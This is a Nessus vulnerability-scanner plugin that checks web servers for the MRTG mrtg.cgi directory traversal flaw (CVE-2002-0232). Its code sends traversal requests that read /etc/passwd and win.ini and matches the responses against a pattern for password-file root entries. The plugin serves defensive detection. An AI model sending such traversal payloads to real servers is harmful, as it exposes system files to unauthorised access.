| code | #
# This script was written by H D Moore
#
# Script audit and contributions from Carmichael Security
# Erik Anderson <[email protected]> (nb: domain no longer exists)
# Added BugtraqID and CVE
#
# Changes by Tenable:
# - Revised plugin title (2/10/2009)
include("compat.inc");
if(description)
{
script_id(11001);
script_version ("1.27");
script_cve_id("CVE-2002-0232");
script_bugtraq_id(4017);
script_name(english:"MRTG mrtg.cgi cfg Parameter Traversal Arbitrary Files Access");
script_summary(english:"checks for mrtg.cgi");
script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a CGI script that is prone to a directory
traversal attack.");
script_set_attribute(attribute:"description", value:
"The 'mrtg.cgi' script is part of the MRTG traffic visualization
application. A vulnerability exists in this script that allows an
attacker to view the first line of any file on the system.");
script_set_attribute(attribute:"solution", value:
"Block access to this CGI.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value:
"2002/06/05");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/02/01");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2002-2020 Digital Defense Inc.");
script_family(english:"CGI abuses");
script_dependencie("find_service1.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80, embedded:TRUE);
foreach dir (cgi_dirs())
{
req_unx = string(dir, "/mrtg.cgi?cfg=/../../../../../../../../../etc/passwd");
req_win = string(dir, "/mrtg.cgi?cfg=/../../../../../../../../../winnt/win.ini");
str = http_get(item:req_unx, port:port);
r = http_keepalive_send_recv(port:port, data:str);
if( isnull(r)) exit(0);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
{
security_warning(port);
exit(0);
}
str = http_get(item:req_win, port:port);
r = http_keepalive_send_recv(port:port, data:str);
if( isnull(r) ) exit(0);
if("[16-bit]" >< r)
{
security_warning(port:port);
exit(0);
}
}
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